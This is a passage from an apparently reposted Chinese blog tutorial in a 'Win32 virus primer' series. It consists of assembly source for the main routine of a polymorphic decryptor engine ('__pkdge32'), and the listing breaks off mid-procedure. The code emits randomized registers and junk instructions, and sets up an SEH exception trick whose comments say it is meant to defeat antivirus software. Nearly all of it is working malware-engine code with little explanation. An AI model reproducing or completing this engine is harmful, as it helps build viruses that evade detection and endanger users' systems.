zoukankan      html  css  js  c++  java
  • Win32病毒入门(四)续


    ; __pkdge32 procedure 
    ; =================== 


    ; Description 
    ; ----------- 

    ; This  is  the main procedure of the engine.  It controlz the whole generation 
    ; process,  including SEH setup, instruction  generation,  junk code insertion, 
    ; etc. 


    ; Parameterz and Return Value 
    ; --------------------------- 

    ; Input: 
    ;       ecx --- decrypt buffer size (counter in bytez) 
    ;       edx --- decrypt key 
    ;       edi --- pointz to the buffer to save decryptor 
    ;       ebx --- pointz to the buffer where saved the encrypted code 
    ;       esi --- pointz to the RNG seed buffer 

    ; Output: 
    ;       edi --- the end of the decryptor 
    ;       eax --- pointz  to  the  address of the code which will be decrypted in 
    ;               the  decryptor,  this means we can place the code which will be 
    ;               decrypted anywhere by fixing the value pointed by EAX 

    __pkdge32:      pushad 
                    xor     ebp,ebp 
                    xchg    esi,edi                 ; initialize the RNG seed 
                    call    __randomize             ; ... 
                    xchg    esi,edi                 ; ... 

    ; First,  we select four random  registerz for later use.  These four registerz 
    ; are all different 

                    xor     ebx,ebx                 ; used to save Rw, Rz, Rx, Ry 
                    call    pkdg_sel_reg 
                    or      bl,al 
                    call    pkdg_sel_reg 
                    shl     ebx,4 
                    or      bl,al 
                    call    pkdg_sel_reg 
                    shl     ebx,4 
                    or      bl,al 
                    call    pkdg_sel_reg 
                    shl     ebx,4 
                    or      bl,al 

    ; We setup a SEH frame, then we raise an exception and run the following codez. 
    ; This action may fuck some of the AVsoftz. 

                    push    edi 
                    xor     eax,eax                 ; some junk code 
                    call    __pkdge32_junk          ; ... 
                    mov     al,0e8h                 ; seh instruction 1 
                    stosb                           ; ... 
                    stosd                           ; addr 1, no matter what, fix l8r 
                    push    edi                     ; save addr1 to fix 
                    xor     eax,eax                 ; some junk code 
                    call    __pkdge32_junk          ; ... 
                    mov     eax,0824648bh           ; seh instruction 2 
                    stosd                           ; ... 
                    xor     eax,eax                 ; some junk code 
                    call    __pkdge32_junk          ; ... 
                    mov     al,0ebh                 ; seh instruction 3 
                    stosb                           ; ... 
                    stosb                           ; addr 2, no matter what, fix l8r 
                    push    edi                     ; save addr2 to fix 
                    mov     eax,[esp+4]             ; fix addr1 
                    xchg    edi,eax                 ; ... 
                    sub     eax,edi                 ; ... 
                    sub     edi,4                   ; ... 
                    stosd                           ; ... 
                    add     edi,eax                 ; ... 
                    xor     eax,eax                 ; some junk code 
                    call    __pkdge32_junk          ; ... 
                    mov     ah,bl                   ; seh instruction 4 
                    and     ah,7                    ; ... 
                    or      eax,0c031h              ; ... 
                    push    ebx                     ; ... 
                    and     ebx,7                   ; ... 
                    shl     ebx,11                  ; ... 
                    or      eax,ebx                 ; ... 
                    pop     ebx                     ; ... 
                    stosw                           ; ... 
                    xor     eax,eax                 ; some junk code 
                    call    __pkdge32_junk          ; ... 
                    mov     eax,0ff64h              ; seh instruction 5 
                    stosw                           ; ... 
                    mov     al,bl                   ; ... 
                    and     eax,7                   ; ... 
                    or      al,30h                  ; ... 
                    stosb                           ; ... 
                    xor     eax,eax                 ; some junk code 
                    call    __pkdge32_junk          ; ... 
                    mov     eax,8964h               ; seh instruction 6 
                    stosw                           ; ... 
                    mov     al,bl                   ; ... 
                    and     eax,7                   ; ... 
                    or      al,20h                  ; ... 
                    stosb                           ; ... 
                    xor     eax,eax                 ; some junk code 
                    call    __pkdge32_junk          ; ... 
                    mov     ah,bl                   ; seh instruction 7 
                    and     eax,700h                ; ... 
                    or      eax,08ffh               ; ... 
                    stosw                           ; ... 
                    xor     eax,eax                 ; some junk code 
                    call    __pkdge32_junk          ; ... 
                    mov     al,0ebh                 ; seh instruction 8 
                    stosb                           ; ... 
                    mov     eax,[esp+8]             ; ... 
                    sub     eax,edi                 ; ... 
                    dec     eax                     ; ... 
                    stosb                           ; ... 
                    xor     eax,eax                 ; some junk code 
                    call    __pkdge32_junk          ; ... 
                    pop     eax                     ; fix addr2 
                    xchg    eax,edi                 ; ... 
                    sub     eax,edi                 ; ... 
                    dec     edi                     ; ... 
                    stosb                           ; ... 
                    add     edi,eax                 ; ... 
                    mov     ah,bh                   ; seh instruction 9 
                    and     eax,700h                ; ... 
                    or      eax,0c031h              ; ... 
                    push    ebx                     ; ... 
                    and     ebx,700h                ; ... 
                    shl     ebx,3                   ; ... 
                    or      eax,ebx                 ; ... 
                    pop     ebx                     ; ... 
                    stosw                           ; ... 
                    xor     eax,eax                 ; some junk code 
                    call    __pkdge32_junk          ; ... 
                    mov     eax,8f64h               ; seh instruction 10 
                    stosw                           ; ... 
                    mov     al,bh                   ; ... 
                    and     eax,7                   ; ... 
                    stosb                           ; ... 
                    xor     eax,eax                 ; some junk code 
                    call    __pkdge32_junk          ; ... 
                    mov     al,bh                   ; seh instruction 11 
                    and     al,7                    ; ... 
                    or      al,58h                  ; ... 
                    stosb                           ; ... 
                    xor     eax,eax                 ; some junk code 
                    call    __pkdge32_junk          ; ... 
                    add     esp,8                   ; balance the stack 

    ; Now,  generate the first two  instructionz with junk codez between them,  and 
    ; permute the two instructionz in a random order. 

                    mov     ecx,2 
                    call    __random_rdtsc 
                    or      ecx,ecx 
                    jz      pkdg_gen_12 
                    call    pkdg_gen_1 
                    call    pkdg_gen_2 
                    jmp     pkdg_gen_f2f 
    pkdg_gen_12:    call    pkdg_gen_2 
                    call    pkdg_gen_1 

    ; The last step, we generate the last four instructionz with junk codez in them 
    ; these  four  instructionz must in the same order,  but the registerz they use 
    ; are still random 

    pkdg_gen_f2f:   mov     esi,[esp+4]             ; restore ESI 
                    push    edi          <
  • 相关阅读:
    Easy-Transfer学习
    录音+语音转文字
    pyQt点击事件和数据传输
    第一个python-ui界面
    python写第一个网页
    pyhthon第一个小脚本——文件备份
    Stones HDU 1896
    Cow Sorting POJ 3270 & HDU 2838
    Stones
    大数相加
  • 原文地址:https://www.cnblogs.com/qq78292959/p/2077115.html
Copyright © 2011-2022 走看看